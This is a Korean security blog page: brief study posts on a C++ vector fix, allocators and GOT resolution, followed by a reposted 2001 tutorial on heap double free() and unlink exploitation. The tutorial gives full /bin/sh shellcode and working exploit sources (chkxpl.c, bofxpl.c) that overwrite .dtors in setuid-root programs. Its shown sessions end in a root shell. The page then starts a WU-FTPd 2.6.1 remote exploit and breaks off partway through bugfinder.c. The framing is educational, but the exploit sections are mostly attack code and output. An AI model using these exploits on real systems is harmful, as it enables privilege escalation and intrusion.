반응형
수정1

전에 올렸던 소스에서 Double Free Bug가 일어나서 급하게 수정했습니다.

추가한건 소멸자함수, 수정한 부분은 operator=입니다.

=============================================================================

수정2


수정하기 전의 소스에서 begin이나 rend함수를 통해 arr에 접근이 가능해져서 아래와 같은 소스로

데이터 삭제가 가능합니다.

delete [](arr.begin());

이를 방지하기위해

vector_base로 캡슐화 시켰고, 기존의 T*리턴하는 함수들을 모두 iterator로 변경하였습니다.

또, 현재 다른 STL함수들과 호환성을 위해 수정중입니다.


블로그 이미지

KuroNeko_

KuroNeko

,

Template 공부

공부 2016. 2. 9. 12:58
반응형

https://wikidocs.net/418

'공부' 카테고리의 다른 글

[pwnable.kr] 주저리  (0) 2016.02.25
Kernel Exploit  (0) 2016.02.22
[MSDN] Allocator  (0) 2016.02.02
GOT 입력 ( _dl_runtime_reslove )  (0) 2015.12.29
MISC_Nyan [MISC]  (0) 2015.08.12
블로그 이미지

KuroNeko_

KuroNeko

,

[MSDN] Allocator

공부 2016. 2. 2. 18:18
반응형

allocator 클래스

Visual Studio 2015

템플릿 클래스는 저장소 할당 및 형식 형식의 개체에 대한 배열 해제를 관리하는 개체를 설명합니다. 클래스 allocator의 개체는 표준 C++ 라이브러리의 여러 컨테이너 템플릿 클래스에 대한 생성자에 지정된 기본 할당자 개체입니다.

template <class Type> class allocator

형식

저장소를 할당하거나 할당 취소할 개체의 형식입니다.

모든 표준 템플릿 라이브러리 컨테이너에는 allocator로 기본 설정되는 템플릿 매개 변수가 있습니다. 사용자 지정 할당자로 컨테이너를 생성하면 해당 컨테이너 요소의 할당 및 해제를 제어할 수 있습니다.

예를 들어 할당자 개체에서 전용 힙 또는 공유 메모리에 저장소를 할당하거나, 작거나 큰 개체 크기에 맞게 최적화할 수 있습니다. 또한 제공된 형식 정의를 사용하여 공유 메모리를 관리하는 특수 접근자 개체를 통해 요소에 액세스하거나 자동 가비지 컬렉션을 수행하도록 지정할 수 있습니다. 따라서 할당자 개체를 사용하여 저장소를 할당하는 클래스는 표준 C++ 라이브러리의 컨테이너처럼 이러한 형식을 사용하여 포인터 및 참조 개체를 선언해야 합니다.

(C_++98/03만 해당)할당자 클래스에서 파생시키는 경우 _Other typedef에서 새로 파생 클래스를 참조하는 rebind 구조체를 제공해야 합니다.

따라서 할당자는 다음과 같은 형식을 정의합니다.

  • pointer는 형식에 대한 포인터처럼 동작합니다.

  • const_pointer는 형식에 대한 const 포인터처럼 동작합니다.

  • reference는 형식에 대한 참조처럼 동작합니다.

  • const_reference는 형식에 대한 const 참조처럼 동작합니다.

이러한 형식은 할당된 요소에 대해 포인터 및 참조를 사용해야 하는 폼을 지정합니다. (allocator::pointer는 클래스 allocator에 대한 명확한 정의가 있는 경우에도 모든 할당자 개체에 대한 형식*과 동일할 필요가 없습니다.)

C++11 이상: 할당자에서 이동 작업을 사용하려면 최소 할당자 인터페이스를 사용하고 복사 생성자, == 및 != 연산자, 할당 및 할당 취소를 구현하세요. 자세한 내용 및 예제는 할당자를 참조하세요.

h8z741y5.collapse_all(ko-kr,VS.140).gif생성자

allocator

allocator 개체를 만드는 데 사용되는 생성자입니다.

h8z741y5.collapse_all(ko-kr,VS.140).gifTypedefs

const_pointer

할당자에 의해 관리되는 개체 형식에 대한 상수 포인터를 제공하는 형식입니다.

const_reference

할당자에 의해 관리되는 개체 형식에 대한 상수 참조를 제공하는 형식입니다.

difference_type

할당자에 의해 관리되는 개체 형식에 대한 포인터 값의 차이를 나타낼 수 있는 부호 있는 정수 형식입니다.

pointer

할당자에 의해 관리되는 개체 형식에 대한 포인터를 제공하는 형식입니다.

reference

할당자에 의해 관리되는 개체 형식에 대한 참조를 제공하는 형식입니다.

size_type

템플릿 클래스 allocator의 개체가 할당할 수 있는 시퀀스의 길이를 나타내는 부호 없는 정수 형식입니다.

value_type

할당자에 의해 관리되는 형식입니다.

h8z741y5.collapse_all(ko-kr,VS.140).gif멤버 함수

address

값이 지정된 개체의 주소를 찾습니다.

할당

적어도 지정된 개수의 요소를 저장할 수 있을 만큼 큰 메모리 블록을 할당합니다.

construct

지정된 값으로 초기화된 특정 형식의 개체를 지정된 주소에 생성합니다.

deallocate

지정된 위치부터 시작하여 저장소에서 지정된 개수의 개체를 해제합니다.

destroy

개체가 저장된 메모리 할당을 취소하지 않고 개체 소멸자를 호출합니다.

max_size

사용 가능한 메모리를 사용하기 전에 클래스 allocator의 개체에서 할당할 수 있는 Type 형식의 요소 수를 반환합니다.

rebind

한 형식의 개체에 할당자를 사용하여 다른 형식의 개체에 저장소를 할당할 수 있는 구조체입니다.

h8z741y5.collapse_all(ko-kr,VS.140).gif연산자

연산자 =

allocator 개체를 다른 allocator 개체에 할당합니다.


'공부' 카테고리의 다른 글

Kernel Exploit  (0) 2016.02.22
Template 공부  (0) 2016.02.09
GOT 입력 ( _dl_runtime_reslove )  (0) 2015.12.29
MISC_Nyan [MISC]  (0) 2015.08.12
Easy Crack Me[Would you Crack Me?]  (0) 2015.05.30
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

라이브러리 함수를 실행하게되면 PLT영역에서 GOT로 점프하고 함수를 실행하게 되는데,

GOT는 어떻게 값을 넣어주는지 알아보자. ( 함수가 처음 실행 됐을 때 실행됌, 두 번째 실행부터 바로 GOT주소로 JMP함 )


먼저 알아둘게 있다.

FUNC::PLT + 0 은 jmp FUNC::GOT 로 점프,

FUNC::PLT + 6 은 push DATA,

FUNC::PLT + 11 에서 jmp를 하게되면 거기서 pushl, jmp가 있는 PLT시작부분으로 분기하게된다.


PLT시작부분에서 pushl로 GOT+4 주소를 스택에 넣고, jmp되는 부분에 GOT+8 주소를 넣게되는데,

GOT + 8 이 _dl_runtime_resolve 의 주소가 된다.


_dl_runtime_resolve를 분석해보면

_dl_fixup 이란 함수를 실행 edi, esi에 각각 함수의 offset값과 .strtab의 주소값이 들어간다.

예를 들어 puts함수를 실행하려면 먼저 puts함수의 puts 문자열을 얻어야한다. ( windows 에서 GetProcAddress와 같은 방식임 )

문자열을 얻기위해서는 _dl_finxup 실행 후 edi에 puts의 offset값, esi에 .strtab의 주소값이 들어가고, .strtab 주소 + puts::offset을 더해주면 된다.

그리고 eax에는 문자열 주소를 넣어주고, _dl_lookup_symbol_x라는 함수를 실행하게 된다.

_dl_lookup_symbol_x함수에서는 .syntab과 lib의 주소를 얻고 _dl_fixup함수에서 얻은 puts의 offset, .strtab주소를 이용해서

정확한 함수주소를 얻고 GOT에 쓴 뒤에 puts함수를 실행하게 된다.


호출 순서

_dl_runtime_resolve -> _dl_fixupup -> _dl_lookup_symbol_x -> Function

'공부' 카테고리의 다른 글

Template 공부  (0) 2016.02.09
[MSDN] Allocator  (0) 2016.02.02
MISC_Nyan [MISC]  (0) 2015.08.12
Easy Crack Me[Would you Crack Me?]  (0) 2015.05.30
[C++] Template  (0) 2015.01.02
블로그 이미지

KuroNeko_

KuroNeko

,
반응형
=======================================================================================
  Title: Heap 기반 free() & malloc() exploit 작성하기.
  Author : 유동훈 (Xpl017Elz) in INetCop(c).
  E-mail : szoahc@hotmail.com, xpl017elz@inetcop.org
  Home: http://x82.i21c.net, http://www.inetcop.org
  Date: f. 2001/06/12 s. 2001/06/25
=======================================================================================


  * Contents -

  0x00. How to exploit chunk?
  0x01. Test exploit!
  0x02. Real exploit.기
  0x03. Reference.


P.S: 오래간만에 다시 문서를 작성해봅니다.
      아직 국내에는 Heap 공격에 관한 문서가 활성화 되지 않은 것 같습니다.
      Stack 기반의 문서와는 확연히 차이가 나지요.
      앞으로 대두될 Heap 기반의 취약점에 대해 연구해보도록 하겠습니다.

* 문서의 내용중 오류가 있다면 xpl017elz@inetcop.org로 mail 주시면 감사하겠습니다.


[-------------------------------------------------------------------------------------]

여기서 소개하는 exploit 방법은 한때 제가 연구했던 공격기법입니다.
해외에 Phrack #57/9 "Once upon a free()"라는 문서를 읽어보면 잘 알게 될 것입니다.
이 기법이 본격적으로 issue 된 것은 Synnergy 팀의 dvorak의 traceroute exploit method를
문서에 공개하면서 부터입니다. 

이 공격방법에 제가 관심을 갖게 된 것은 WU-FTPd 2.6.1 Heap 취약점이 처음 발표되었을 때로
거슬러 올라가게 됩니다. 당시 이에 관련된 문서는 Synnergy 팀의 문서와 Phrack의 문서밖에
접할수        없었습니다. 저의 모자란 영어 실력에도 불구하고 문서들을 하나하나씩 해석하며, 
전부 읽었던 때가 떠오르네요 ... ; 그렇게 시간이 흐른뒤 이번년 3월경? Phrack의 문서가
국내 해킹그룹 null@root 팀에서 번역되었다는 사실을 뒤늦게 알게 되었습니다. 
그리고, 얼마전 truefinder님의 문서도 접할수 있었습니다.

당시, 혼자 연구하고 있던 저로써는 매우 반가운 일이었습니다. 
그분들께 감사드립니다. :-)

저 역시 다른분들께 자그마한 지식을 공유하기 위해, 글 하나를 올리도록 하겠습니다.
물론 WU-FTPd가 issue 였을 당시 제가 작성했던 exploit과 traceroute exploit을 첨부하여
올리도록 하겠습니다. 부디 부족하나마 도움이 되길 빕니다.

앞에서 설명 드리는 부분은 이미 여러 문서들을 통해 보았던 내용일 것입니다.
간단하게 설명한 후 넘어가도록 하겠습니다.


0x00. How to exploit chunk?  


exploit이 가능한 취약 환경은 malloc() 함수의 선언 후 free() 함수를 연속적으로 
호출할때 일어날수 있습니다. 이것은 double free() 취약점이라 불리며, 
기존에 개발된 여러 heap 취약점 exploit에서 그 형태를 조금이나마 알 수 있습니다.
먼저, chunk에 대해 배워보도록 하겠습니다.

chunk의 구성은 bins management라는 알고리즘을 사용하고 있습니다.
malloc() 함수를 이용하여 동적 메모리를 구성하면 heap상에 chunk를 선언하게 됩니다.
이 자료구조의 정보는 다음과 같습니다.

- 사용자가 선언한 메모리 크기
- 이전에 선언된 chunk의 정보
- 실제 쓰여지는 메모리 영역
- 구조의 유지를 위해 이중연결 목록 포인터들 (Forward pointer, Back pointer)

char *mem = (char*)malloc(20);
mem은 아래 도식화된 그림의 pointer 입니다.

* malloc() 선언후 -

+-----------------------------+ <- chunk
| 사용중인 이전 chunk의 크기  |           
+-----------------------------+
| chunk의 크기              |P|           
+-----------------------------+ <- mem
| 사용자 자료의 시작 부분     | 
+-----------------------------+
| chunk의 크기                |
+-----------------------------+ <- 다음 chunk

* 사용종료를 위해 free()후 -

+-----------------------------+ <- chunk
| 사용중인 이전 chunk 크기    |
+-----------------------------+
| chunk의 크기              |P| 
+-----------------------------+ <- mem
| 다음을 가리키는 chunk 구조  |
+-----------------------------+> 이중연결 목록구조
| 이전을 가리키는 chunk 구조  |
+-----------------------------+
| 사용되지 않는 공간          |
+-----------------------------+ <- 다음 chunk
| chunk의 크기                |
+-----------------------------+

free() 과정 중 각 chunk를 관리할 때 사용 중이지 않은 이전 chunk나 이후의 chunk에 대해
병합과정을 수행합니다. 이 병합시 이중연결 목록의 각 pointer들이 바뀌는 시점에서
문제가 발생하게 됩니다. 이 내용은 Phrack에 자세히 설명되어 있습니다.

위의 "P"(PREV_INUSE)는 chunk의 사용여부를 표시합니다.
이때 "P" flag가 1로 표시되어 있을 때는 이전 chunk가 사용 중이기 때문에 병합하지 않습니다.
free()가 수행되면, 이전 chunk는 병합하게 될 것입니다.

실제적으로 문제가 되는 부분은 unlink 매크로 부분입니다.
이는 이중연결 목록의 각 이전과 다음 포인터를 바꿉니다.

BK = P -> bk; BK -> fd = FD;
FD = P -> fd; FD -> bk = BK;

Overflow 취약점을 이용하여 우리가 chunk의 수정권한을 가지고 있다면,
가짜 chunk를 작성하여 공격자가 원하는 주소의 영역을 덮을 수 있을 것입니다.
가짜 chunk header의 작성은 간단합니다. 공격자가 작성한 free()가 수행될 수 있도록
다음과 같이 작성할 수 있습니다.

-------------------------------------------------------------------------

[ prev_size ] [ size (P)] [ fd ] [ bk ]

prev_size: 이전 chunk의 크기값.
size  (P): 메모리의 현재 data section 크기.
fd       : 다음을 가리키는 chunk 구조.
bk       : 이전을 가리키는 chunk 구조.

-------------------------------------------------------------------------

공격자는 올바른 공격수행을 위해 prev_size와 size부분의 값을 조건에 맞게 구성합니다.
먼저, 읽혀질 포인터로 병합되기 위해서는 아주 작은 값을 사용해야 합니다.
이때 Null byte를 피하기 위해서 매우 큰 값을 사용하기도 합니다. 만약 공격자가 PREV_INUSE 
값을 우회하는데 성공하면 병합의 과정을 거칠 수 있게 됩니다.

그 다음에는 fd(Forward pointer)와 bk(Back pointer)를 구성해야 합니다.
Forward Pointer는 덮어쓰고자 하는 곳의 12byte를 더한 주소에 특정값을 씁니다.
그러므로 exploit에는 항상 "retloc - 0x0c"의 과정을 거칩니다.

--- * 만들어지는 가짜 chunk exploit의 구조 ------------------------------

[(0xfffffffc), (0xffffffff), (got & .dtors - 0x0c), (&shellcode)]

-------------------------------------------------------------------------

마지막으로 exploit시 주의할 점은 우리가 원하는 shellcode의 주소 다음 8byte 부분에
unlink 매크로에 의해 원하지 않은 주소값이 덮어씌워지게 된다는 사실입니다.

이 때문에 실제 NOP가 존재하는 영역의 address를 Global offset table이나 .dtors entri에
덮어쓴다고 해도 shell이 정상적으로 실행되지 않을 수 있습니다. 그렇기 때문에 기존의
x86 exploit들과는 약간 다른 code를 생성해야 합니다.

구성은 다음과 같을 것입니다.

--- * Retaddr의 8byte후의 내용 파괴를 넘기기 위해 작성한 shellcode -------

"\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"linux x86 shellcode";

-------------------------------------------------------------------------

위의 code는 10byte를 뒤로 jump해 나갑니다.
자, 그럼 실제 환경에서 exploit 해보도록 합시다.


0x01. Test exploit!


지금부터 간단하게 취약한 프로그램을 작성하여 exploit 해볼 것입니다. (*Happy exploit!)

다음은 exploit할 chunk라는 프로그램입니다.

[= source: chunk.c =====================================================]

/* Test-c0de by Xpl017Elz. */

#include <stdio.h>

int main(int argc, char **argv) {

char *x1 = (char*) malloc(100);
char *x2 = (char*) malloc(100);

if(argc < 2) {
     printf("arg\n");
     exit(-1);
}

strcpy(x1, argv[1]);

free(x1);
free(x2);

}

[=======================================================================]

[x82@xpl017elz chunk]$ su
Password:
[root@xpl017elz chunk]# gcc -o chunk chunk.c
[root@xpl017elz chunk]# chmod 6755 chunk
[root@xpl017elz chunk]# ls -al chunk
-rwsr-sr-x   1 root     root        12139 May 23 12:14 chunk
[root@xpl017elz chunk]# exit
exit
[x82@xpl017elz chunk]$

먼저 간단하게 test할 exploit 환경을 만들어 보았습니다.
프로그램은 아주 기본적인 Heap기반의 malloc() & free() 취약점에 노출되어 있습니다.

----------------------------------------------------------------------------

[x82@xpl017elz chunk]$ cp chunk bak
[x82@xpl017elz chunk]$ gdb -q bak
(gdb) r `perl -e 'print "x"x99'`
Starting program: /tmp/chunk/bak `perl -e 'print "x"x99'`

Program exited with code 0100.
(gdb) r `perl -e 'print "x"x100'`
Starting program: /tmp/chunk/bak `perl -e 'print "x"x100'`

Program received signal SIGSEGV, Segmentation fault.
0x40071ee9 in chunk_free (ar_ptr=0x40106040, p=0x8049800) at malloc.c:3047
3047    malloc.c: 그런 파일이나 디렉토리가 없음.
(gdb) where
#0  0x40071ee9 in chunk_free (ar_ptr=0x40106040, p=0x8049800) at malloc.c:
#1  0x40071d75 in __libc_free (mem=0x8049808) at malloc.c:2959
#2  0x80484ff in main ()
#3  0x400311eb in __libc_start_main (main=0x80484a0 <main>, argc=2,
     argv=0xbffffa84, init=0x8048328 <_init>, fini=0x804853c <_fini>,
     rtld_fini=0x4000a610 <_dl_fini>, stack_end=0xbffffa7c)
     at ../sysdeps/generic/libc-start.c:90
(gdb) x/10 0x8049800
0x8049800:      0x00000000      0x00000069      0x78787878      0x78787878
0x8049810:      0x78787878      0x78787878      0x78787878      0x78787878
0x8049820:      0x78787878      0x78787878
(gdb)

----------------------------------------------------------------------------

Segmentation fault가 일어난 것을 볼 수 있습니다.
그렇다면 우리가 앞서 공부한 이론과 같이 exploit을 coding 해봅시다.
이 작업은 매우 민감한 부분입니다. 정확히 segfault 지점을 기억하고,
기타 ... 여러 가지 필요한 정보 사항들을 debugging 하여 알아내야 할 것입니다.
위 프로그램의 exploit은 다음과 같이 작성할 수 있습니다.

[= source: chkxpl.c ====================================================]

/* Test Xploit-c0de by Xpl017Elz. */

#include <stdio.h>

#define DTORS 0x08049584
#define SHELLCODE 0x41414141 
/* testing후, &shellcode 주소로 변경됩니다. */

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() {

     char x0x[200];

     memset(x0x, 0, 200);
     memset(x0x, 0x90, 96); /* 96byte의 내용을 NOP로 채웁니다. */

     memcpy(x0x+38, shellcode, strlen(shellcode)); 
                        /* 이 부분에 shellcode를 집어넣습니다. */

    /* 
    ** 우리가 retloc에 덮어쓴 shellcode + 8byte 주소를
    ** 넘어가기 위해 작성합니다.
    */

    *(long*)&x0x[16] = 0x0ceb0ceb;
    *(long*)&x0x[96] = 0xfffffffc; /* Fake Chunk header. */
    *(long*)&x0x[100] = 0xffffffff;
    *(long*)&x0x[104] = DTORS - 12; // .dtors를 덮어씁니다.
    *(long*)&x0x[108] = SHELLCODE; // &shellcode 주소입니다.

    execl("./bak", "bak", x0x, 0); 
    // 먼저 우리의 bak 프로그램을 test 해보아야 합니다.
/* execl("./chunk", "chunk", x0x, 0); // 취약 프로그램을 exploit. */

}

[=======================================================================]

먼저 testing 해보겠습니다.

----------------------------------------------------------------------------

[x82@xpl017elz chunk]$ gcc -o chkxpl chkxpl.c
[x82@xpl017elz chunk]$
[x82@xpl017elz chunk]$ ./chkxpl
Segmentation fault
[x82@xpl017elz chunk]$ gdb -q chkxpl
(gdb) r
Starting program: /tmp/chunk/chkxpl

Program received signal SIGTRAP, Trace/breakpoint trap.
0x40001780 in _start () at rtld.c:142
142     rtld.c: 그런 파일이나 디렉토리가 없음.
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x40071eec in chunk_free (ar_ptr=0x40106040, p=0x8049800) at malloc.c:3047
3047    malloc.c: 그런 파일이나 디렉토리가 없음.
(gdb) x/10 0x08049584
0x8049584 <p.2>:        0x41414141      0x080495b8      0x400126b0     ...
                         ~~~~~~~~~~
0x8049594 <force_to_data+8>:    0x400f78e0      0x4007133c      0x0804838e 
0x80495a4 <shellcode+4>:        0x080483ae      0x080483be
(gdb) x/10 0x8049800
0x8049800:      0x00000000      0x00000069      0x90909090      0x90909090
0x8049810:      0x90909090      0x90909090      0x0ceb0ceb      0x90909090
                                                 ~~~~~~~~~~
0x8049820:      0x90909090      0x90909090
(gdb)
0x8049828:      0x90909090      0x1feb9090      0x0876895e      0x4688c031
0x8049838:      0x0c468907      0xf3890bb0      0x8d084e8d      0x80cd0c56
0x8049848:      0xd889db31      0xe880cd40
(gdb)

----------------------------------------------------------------------------

역시 예상대로 .dtors의 내용을 우리가 원하는 값인 0x41414141로 덮어쓰는데
성공했습니다. 뿐만 아니라 0x0ceb0ceb의 주소값도 알아낼 수 있었습니다.
0x8049818에 존재하고 있는 것을 알 수 있습니다. 

작성된 exploit에 &shellcode 값(0x41414141)의 내용을 앞서 구한 0x08049818
주소값으로 변경합니다. 그리고 실제 "./chunk" 프로그램을 실행하기 위해 주석을
지우고 컴파일합니다.

----------------------------------------------------------------------------

[x82@xpl017elz chunk]$ gcc -o chkxpl chkxpl.c
[x82@xpl017elz chunk]$ ./chkxpl
bash# whoami
root
bash# id
uid=500(x82) gid=500(x82) euid=0(root) egid=0(root) groups=500(x82)
bash# exit
exit
[x82@xpl017elz chunk]$

----------------------------------------------------------------------------

새로운 "#"-RootShell이 실행되었습니다. :-)
위의 경우는 매우 단순한 Heap 기반의 malloc() & free() exploit 입니다.
Heap 기반의 malloc() & free() 취약점이 존재하는 프로그램은 상당수 존재합니다.
이미 취약점이 발표되었던 프로그램을 직접 찾아 exploit 해보는 것도,
연구에 매우 많은 도움이 될 것입니다.

이번엔, Wargame 문제중 ...
아주 재미있는 Heap 기반의 공격 Source Code를 exploit 해보도록 합시다.

[= source: bof.c =======================================================]

/* omg stop the insanity! */

#define BUF 514
#include <stdio.h>

int main() {

char *ptr = (char *)malloc(BUF);
char *ptr2 = (char *)malloc(15);

printf("crypt() a pass\n");
printf("Key: ");

fgets(ptr2,15,stdin);

printf("Pass: ");
sec_get(ptr);
printf("crypted pass: %s\n",crypt(ptr,ptr2));

free(ptr2);
free(ptr);

}

int sec_get(char *buf) {

int i = 0;
char stuff[1024];

fgets(stuff,sizeof(stuff),stdin);
for(i=1;stuff[i] != ' ';i++);

if (i <= BUF) {

strcpy(buf,stuff);

} else {

printf("*bounds checking kicks you in the ass\n");
exit(-1);

}
}

[=======================================================================]

[x82@xpl017elz chunk]$ su
Password:
[root@xpl017elz chunk]# gcc -o bof bof.c
ch/tmp/ccHOeZtH.o: In function `main':
/tmp/ccHOeZtH.o(.text+0x77): undefined reference to `crypt'
collect2: ld returned 1 exit status
[root@xpl017elz chunk]# gcc -o bof bof.c -lcrypt
[root@xpl017elz chunk]# chown 6755 bof
[root@xpl017elz chunk]# exit
exit
[x82@xpl017elz chunk]$
[x82@xpl017elz chunk]$ ./bof
crypt() a pass
Key: AA
Pass: PASSWORD
crypted pass: AAcvPvtmBfCNg
[x82@xpl017elz chunk]$

Salt 2byte와 Password를 받아 암호화하는 프로그램입니다.
source code를 읽어보면 아시겠지만 약간의 재미있는 tricking을 구성할 수 있습니다.
여기서 중요한 것은 sec_get() 함수입니다.

함수를 분석해보면 다음과 같습니다.

- 다음 sec_get() 함수에서 ptr을 Overflow 시킬 수 있는 취약점 발생. --------
:
:

int sec_get(char *buf) {

int i = 0;
char stuff[1024];

/*
** 1024byte를 받습니다. 
** 여기서 514byte를 초과하므로 bof가 일어날 수 있습니다.
*/
fgets(stuff,sizeof(stuff),stdin); 
for(i=1;stuff[i] != ' ';i++); /* blank 공간을 찾습니다. */

if (i <= BUF) { 
// blank 공간까지의 값을 514보다 작거나 같은지 조사합니다.

strcpy(buf,stuff); /* 조건이 성립되면, strcpy를 수행합니다. :-) */

} else {

printf("*bounds checking kicks you in the ass\n");
exit(-1);

:
:
---------------------------------------------------------------------------

이 부분에서 중요한 점은 0x20(space key)인 blank값을 조사하여 값을 비교 후 strcpy를
수행한다는 점입니다. 그렇다면, 우리는 다음과 같이 exploit 구조를 생각할 수 있습니다.

[NOP (shellcode), (0x0ceb0ceb x 4), (shellcode), (0x20202020)]
[(0xfffffffc), (0xffffffff), (.dtors - 0x0c), (&shellcode)]

다음과 같이 exploit 합니다.

[= source: bofxpl.c ====================================================]

/* bab0 free Xploit-c0de by Xpl017Elz. */

#include <stdio.h>

#define DTORS 0x080497a4 /* .dtors */
#define SHELLCODE 0x41414141 /* test &shellc0de */

char shellcode[] = /* 12byte jumpc0de + NOP + execve() shellc0de */
        "\xeb\x0c\xeb\x0c\xeb\x0c\xeb\x0c\xeb\x0c\xeb\x0c\xeb\x0c\xeb\x0c"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() {

     char x0x[0x258];
     memset(x0x, 0, 0x258);
     memset(x0x, 0x90, 0x202);

     memcpy(x0x + 0x00c8, shellcode, strlen(shellcode));

     *(long*)&x0x[508] = 0x20202020; /* blank */

     // fake chunk header :-p

     *(long*)&x0x[512] = 0xfffffffc;
     *(long*)&x0x[516] = 0xffffffff;
     *(long*)&x0x[520] = DTORS - 0x0c; /* .dtors - 12 */
     *(long*)&x0x[524] = SHELLCODE; /* &shellc0de */

     printf("x82\n");
     printf("%s", x0x);

}  

[=======================================================================]

위의 exploit을 이용해 debugging 후 shellcode의 위치를 알아냅니다.
그 후 알아낸 code의 위치 및 offset등을 setting 한 뒤 적용해보도록 하겠습니다.

----------------------------------------------------------------------------

[x82@xpl017elz chunk]$ cp bof bak
[x82@xpl017elz chunk]$ gcc -o bofxpl bofxpl.c
[x82@xpl017elz chunk]$ ./bofxpl > test
[x82@xpl017elz chunk]$ gdb -q bak
(gdb) r < test
Starting program: ./bak < test
crypt() a pass
Key: Pass: crypted pass: 삒fXqOlJuC86Q

Program received signal SIGSEGV, Segmentation fault.
0x4009feec in chunk_free (ar_ptr=0x40134040, p=0x8049a38) at malloc.c:3047
3047    malloc.c: 그런 파일이나 디렉토리가 없음.
(gdb) x/10 0x080497a4
0x80497a4 <__DTOR_END__>:       0x41414141      0x080497e4      0x400126b0
                                 ~~~~~~~~~~
0x80497b4 <_GLOBAL_OFFSET_TABLE_+12>:   0x401258e0      0x4009f33c   ...
0x80497c4 <_GLOBAL_OFFSET_TABLE_+28>:   0x4005f0ec      0x40093f4c
(gdb) x/80 $esp-1000
0xbffff674:     0x00000210      0x400a4420      0x4000a610      0xbffffa94
0xbffff684:     0x0804867f      0x08049a40      0xbffff690      0x90909090
0xbffff694:     0x90909090      0x90909090      0x90909090      0x90909090
...
0xbffff734:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff744:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff754:     0x90909090      0x0ceb0ceb      0x0ceb0ceb      0x0ceb0ceb
                                 ~~~~~~~~~~
0xbffff764:     0x0ceb0ceb      0x90909090      0x90909090      0x0ceb0ceb
0xbffff774:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff784:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff794:     0x90909090      0x895e1feb      0xc0310876      0x89074688
0xbffff7a4:     0x0bb00c46      0x4e8df389      0x0c568d08      0xdb3180cd
(gdb)  

----------------------------------------------------------------------------
  
.dtors를 0x41414141로 변경하는데 성공하였습니다.
우리가 입력했던 shellcode 안에 12byte jumpcode를 찾았습니다.
0xbffff758 주소에 있는 것을 볼 수 있습니다.
이제 이것을 exploit에 넣어 test 해보겠습니다.

----------------------------------------------------------------------------

[x82@xpl017elz chunk]$ gcc -o bofxpl bofxpl.c
[x82@xpl017elz chunk]$ ./bofxpl > test
[x82@xpl017elz chunk]$ gdb -q bak
(gdb) r < test
Starting program: ./bak < test
crypt() a pass
Key: Pass: crypted pass: 삒fXqOlJuC86Q

Program received signal SIGTRAP, Trace/breakpoint trap.
0x40001780 in _start () at rtld.c:142
142     rtld.c: 그런 파일이나 디렉토리가 없음.
(gdb) c
Continuing.

Program exited normally.
(gdb) q
[x82@xpl017elz chunk]$   

----------------------------------------------------------------------------

Ok, 여러분! 우리의 code를 실행한 준비가 되었나요?? (*Happy exploit!)

----------------------------------------------------------------------------

[x82@xpl017elz chunk]$ (./bofxpl; cat) | ./bof
crypt() a pass

Key: Pass: crypted pass: 삒fXqOlJuC86Q

whoami
root
id
uid=500(x82) gid=500(x82) euid=0(root) egid=0(root) groups=500(x82)
exit

[x82@xpl017elz chunk]$  

----------------------------------------------------------------------------

w0w~ 즐겁군요. setreuid(), setuid() code를 넣어 사용하면, Real uid, gid
권한을 취득할 수 있겠습니다. :-)


0x02. Real exploit.


1) WU-FTPd 2.6.1 exploit.


WU-FTPd는 매우 훌륭한 FTP 서비스 데몬입니다. 각 버전마다 다른 취약점이 존재하지요.
그만큼 WU-FTPd를 많이 사용한다는 말도 됩니다. 우리나라에서는 어떤지 모르지만 ...
어쨌든 지난해 발표된 후, 이번 연초에 제가 작성했던 WU-FTPd exploit을 실어볼까 합니다.
code의 값을 구하고 대입하기 위해서는 약간의 debugging과 노가다가 필요합니다.

즐거운 exploit 시간되시길 바랍니다.

URL - http://wizard.underattack.co.kr/~x82/h0me/c0de/WOOoou~Happy-2.6.1.xplsrc/


--- Makefile ---


#
# It's the Makefile - WOOoou Xploit - Setup.
# 
happy: happy-xpl.c bugfinder.c os-plat.h
        @$(ECHO) $(CC) -o happy-xpl happy-xpl.c
        @$(ECHO) $(CC) -o bugfinder bugfinder.c
clean:
        @$(ECHO) rm -f happy-xpl bugfinder
#
# How to Make: bash$ make happy
#


--- bugfinder.c ---


/*
**
** - Auto BugFinder - exploit.
**
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>. 
** My World: http://x82.i21c.net
**
*/

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <errno.h> 
#include <netdb.h>
#include <netinet/in.h>
#include "os-plat.h"

main(int argc, char *argv[]) {

int    sockfd, num, num_, type = 0;
char                    host[0x82],
                        user[0x82],
                        pass[0x82],
                    read_buf[1024], 
                     strcode[1024],
                     execute[1024],
                 version_buf[1024];

struct                 hostent *he;
struct        sockaddr_in x82_addr;
unsigned long gotrs = 0, shell = 0,
                        chunkr = 0;

if(argc < 2) {
    printf("\n Usage: %s [hostname] [platform num] [got] [shellcode] [fakechunk]\n", argv[0]);
    system("cat ./platform.txt");
    exit(0); 
}
if(argc > 2) {
    if(atoi(argv[2]) > 11) {
        printf("\n Error, Platform Type Number: (0~ 11)\n\n");
        exit(0);
    }
    type = atoi(argv[2]);
}
if(argc > 3) {
    gotrs = strtoul(argv[3], NULL, 0);
}
if(argc > 4) {
